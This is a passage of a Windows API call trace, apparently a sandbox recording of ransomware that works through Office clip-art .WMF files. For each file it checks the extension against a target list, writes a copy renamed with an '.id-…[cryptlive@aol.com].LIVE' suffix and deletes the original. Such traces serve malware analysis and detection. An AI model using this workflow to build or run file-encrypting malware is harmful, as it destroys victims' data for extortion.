(lpString=".jpg") returned 4 [0144.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.301] lstrlenW (lpString=".doc") returned 4 [0144.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.301] lstrlenW (lpString=".docx") returned 5 [0144.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.301] lstrlenW (lpString=".pdf") returned 4 [0144.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.302] lstrlenW (lpString=".xls") returned 4 [0144.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.302] lstrlenW (lpString=".xlsx") returned 5 [0144.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.302] lstrlenW (lpString=".ppt") returned 4 [0144.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.302] lstrlenW (lpString=".zip") returned 4 [0144.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.302] lstrlenW (lpString=".rar") returned 4 [0144.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.302] lstrlenW (lpString=".bz2") returned 4 [0144.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.302] lstrlenW (lpString=".7z") returned 3 [0144.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.302] lstrlenW (lpString=".dbf") returned 4 [0144.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.302] lstrlenW (lpString=".1cd") returned 4 [0144.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0144.302] lstrlenW (lpString=".jpg") returned 4 [0144.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.302] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.302] lstrlenW (lpString="FD02116_.WMF") returned 12 [0144.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0144.315] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3988) returned 1 [0144.315] CloseHandle (hObject=0x38c) returned 1 [0144.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x20 [0144.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0144.316] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.316] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0144.317] GetLastError () returned 0x0 [0144.317] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xf94, lpOverlapped=0x0) returned 1 [0144.379] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0144.380] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.380] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.380] SetEndOfFile (hFile=0x1fc) returned 1 [0144.380] CloseHandle (hObject=0x1fc) returned 1 [0144.380] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.380] SetEndOfFile (hFile=0x38c) returned 1 [0144.383] CloseHandle (hObject=0x38c) returned 1 [0144.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0144.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.385] lstrlenW (lpString=".doc") returned 4 [0144.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.385] lstrlenW (lpString=".docx") returned 5 [0144.385] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.385] lstrlenW (lpString=".pdf") returned 4 [0144.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.385] lstrlenW (lpString=".xls") returned 4 [0144.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.385] lstrlenW (lpString=".xlsx") returned 5 [0144.385] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.385] lstrlenW (lpString=".ppt") returned 4 [0144.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.385] lstrlenW (lpString=".zip") returned 4 [0144.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.385] lstrlenW (lpString=".rar") returned 4 [0144.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.385] lstrlenW (lpString=".bz2") returned 4 [0144.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString=".7z") returned 3 [0144.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.386] lstrlenW (lpString=".dbf") returned 4 [0144.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.386] lstrlenW (lpString=".1cd") returned 4 [0144.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.386] lstrlenW (lpString=".jpg") returned 4 [0144.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.386] lstrlenW (lpString=".doc") returned 4 [0144.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString=".docx") returned 5 [0144.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.386] lstrlenW (lpString=".pdf") returned 4 [0144.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString=".xls") returned 4 [0144.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.386] lstrlenW (lpString=".xlsx") returned 5 [0144.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.386] lstrlenW (lpString=".ppt") returned 4 [0144.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.386] lstrlenW (lpString=".zip") returned 4 [0144.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.386] lstrlenW (lpString=".rar") returned 4 [0144.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString=".bz2") returned 4 [0144.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString=".7z") returned 3 [0144.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.387] lstrlenW (lpString=".dbf") returned 4 [0144.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.387] lstrlenW (lpString=".1cd") returned 4 [0144.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0144.387] lstrlenW (lpString=".jpg") returned 4 [0144.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.387] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.387] lstrlenW (lpString="FD02158_.WMF") returned 12 [0144.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0144.387] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1648) returned 1 [0144.387] CloseHandle (hObject=0x38c) returned 1 [0144.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x20 [0144.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0144.388] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.388] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0144.389] GetLastError () returned 0x0 [0144.389] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x670, lpOverlapped=0x0) returned 1 [0144.432] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x680, lpOverlapped=0x0) returned 1 [0144.433] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.433] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.433] SetEndOfFile (hFile=0x1fc) returned 1 [0144.629] CloseHandle (hObject=0x1fc) returned 1 [0144.630] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.630] SetEndOfFile (hFile=0x38c) returned 1 [0145.228] CloseHandle (hObject=0x38c) returned 1 [0145.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0145.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.270] lstrlenW (lpString=".doc") returned 4 [0145.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.270] lstrlenW (lpString=".docx") returned 5 [0145.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.270] lstrlenW (lpString=".pdf") returned 4 [0145.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.270] lstrlenW (lpString=".xls") returned 4 [0145.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.270] lstrlenW (lpString=".xlsx") returned 5 [0145.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.270] lstrlenW (lpString=".ppt") returned 4 [0145.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.271] lstrlenW (lpString=".zip") returned 4 [0145.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.271] lstrlenW (lpString=".rar") returned 4 [0145.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.271] lstrlenW (lpString=".bz2") returned 4 [0145.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.271] lstrlenW (lpString=".7z") returned 3 [0145.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.271] lstrlenW (lpString=".dbf") returned 4 [0145.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.271] lstrlenW (lpString=".1cd") returned 4 [0145.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.271] lstrlenW (lpString=".jpg") returned 4 [0145.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.271] lstrlenW (lpString=".doc") returned 4 [0145.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.271] lstrlenW (lpString=".docx") returned 5 [0145.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.271] lstrlenW (lpString=".pdf") returned 4 [0145.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.271] lstrlenW (lpString=".xls") returned 4 [0145.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.271] lstrlenW (lpString=".xlsx") returned 5 [0145.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.271] lstrlenW (lpString=".ppt") returned 4 [0145.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.271] lstrlenW (lpString=".zip") returned 4 [0145.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.272] lstrlenW (lpString=".rar") returned 4 [0145.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.272] lstrlenW (lpString=".bz2") returned 4 [0145.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.272] lstrlenW (lpString=".7z") returned 3 [0145.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.272] lstrlenW (lpString=".dbf") returned 4 [0145.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.272] lstrlenW (lpString=".1cd") returned 4 [0145.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0145.272] lstrlenW (lpString=".jpg") returned 4 [0145.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.272] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.272] lstrlenW (lpString="FLAP.WMF") returned 8 [0145.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0145.321] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2070) returned 1 [0145.321] CloseHandle (hObject=0x3ac) returned 1 [0145.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 0x20 [0145.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0145.321] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.321] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0145.322] GetLastError () returned 0x0 [0145.322] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x816, lpOverlapped=0x0) returned 1 [0145.342] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x820, lpOverlapped=0x0) returned 1 [0145.343] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.343] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0145.343] SetEndOfFile (hFile=0x3bc) returned 1 [0145.344] CloseHandle (hObject=0x3bc) returned 1 [0145.344] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.344] SetEndOfFile (hFile=0x3ac) returned 1 [0145.346] CloseHandle (hObject=0x3ac) returned 1 [0145.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 1 [0145.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.451] lstrlenW (lpString=".doc") returned 4 [0145.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.451] lstrlenW (lpString=".docx") returned 5 [0145.451] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0145.451] lstrlenW (lpString=".pdf") returned 4 [0145.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.451] lstrlenW (lpString=".xls") returned 4 [0145.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.451] lstrlenW (lpString=".xlsx") returned 5 [0145.451] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0145.451] lstrlenW (lpString=".ppt") returned 4 [0145.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.452] lstrlenW (lpString=".zip") returned 4 [0145.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.452] lstrlenW (lpString=".rar") returned 4 [0145.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString=".bz2") returned 4 [0145.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString=".7z") returned 3 [0145.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.452] lstrlenW (lpString=".dbf") returned 4 [0145.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.452] lstrlenW (lpString=".1cd") returned 4 [0145.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.452] lstrlenW (lpString=".jpg") returned 4 [0145.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.452] lstrlenW (lpString=".doc") returned 4 [0145.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString=".docx") returned 5 [0145.452] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0145.452] lstrlenW (lpString=".pdf") returned 4 [0145.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString=".xls") returned 4 [0145.452] 